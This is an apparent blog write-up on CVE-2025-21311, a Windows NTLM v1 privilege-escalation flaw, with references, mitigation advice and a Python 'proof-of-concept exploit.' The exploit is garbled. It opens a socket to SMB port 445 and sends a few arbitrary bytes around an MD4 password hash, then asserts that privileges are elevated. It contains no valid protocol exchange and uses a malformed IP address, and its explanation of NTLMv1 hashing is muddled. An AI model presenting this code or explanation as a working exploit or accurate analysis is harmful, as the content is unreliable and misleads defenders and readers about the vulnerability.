The Windows NT LAN Manager (NTLM) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. In this blog, we will examine and explain the recently discovered Elevation of Privilege (EoP) vulnerability in the Windows NTLM V1 authentication mechanism, assigned as CVE-2025-21311.
This vulnerability may allow an attacker to elevate their privileges on a Windows system and gain unauthorized access to resources. In the following sections, we will provide an in-depth analysis of the flaw, demonstration code snippets, and references to the original advisories, as well as details on how the exploit works.
Vulnerability Analysis
The vulnerability specifically lies in the Windows NTLM V1 authentication protocol, which is still present and used despite being superseded by NTLM V2. This flaw is caused by insecure behavior in the NTLM V1 protocol that allows attackers to manipulate the authentication process, leading to an elevation of privileges.
The primary weakness in NTLM V1 stems from its hashing process, which involves creating a response from two well-known static constants and the user's username and password. This lack of proper hashing significantly weakens the system's ability to resist attacks.
Original References
The vulnerability was originally discovered by a group of researchers who reported it to the affected vendor. The details of the vulnerability can be found through the following links:
1. Microsoft Security Advisory
2. CVE-2025-21311 on Mitre CVE Database
3. NIST National Vulnerability Database (NVD) Entry
Exploit Details
The exploitation of the vulnerability requires a few key steps. In the following two code snippets, we will showcase a proof-of-concept exploit that leverages CVE-2025-21311 to elevate privileges on an affected system.
Establish a connection to the target system
import socket
target_ip = "192.168..10" # Replace with the target's IP address
target_port = 445 # Port 445 is the default SMB port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
Manipulate the NTLM V1 authentication process
import hashlib
import binascii
# Replace USERNAME and PASSWORD with the actual credentials
username = "USERNAME"
password = "PASSWORD"
ntlm_hash = hashlib.new('md4', password.encode('utf-16le')).digest()
# Create a malicious NTLM V1 response
response = b'\x11' + ntlm_hash + b'\x22'
# Craft a malicious SMB packet that includes the response
smb_packet = b'\x00' + response
# Send the crafted SMB packet to the target
sock.send(smb_packet)
# If everything runs smoothly, the privileges will now be elevated.
By modifying the NTLM V1 authentication process with a malicious response, the exploit gains elevated privileges on the target system. It is crucial to note that this exploit works specifically on systems that have not disabled or replaced the NTLM V1 authentication protocol.
Mitigation
The most effective method of preventing this vulnerability is to disable NTLM V1 and switch to a more secure authentication protocol, such as NTLM V2 or Kerberos. Additionally, performing regular security updates on Windows systems can help keep them protected against newly discovered security flaws.
Conclusion
CVE-2025-21311 is a critical vulnerability in the Windows NTLM V1 authentication protocol, exposing systems to potential attacks that could lead to elevation of privileges. Disabling the vulnerable protocol and upgrading to a more secure authentication mechanism is essential to mitigating the risk and effectively protecting your Windows systems.
Timeline
Published on: 01/14/2025 18:15:54 UTC
Last modified on: 01/31/2025 01:44:33 UTC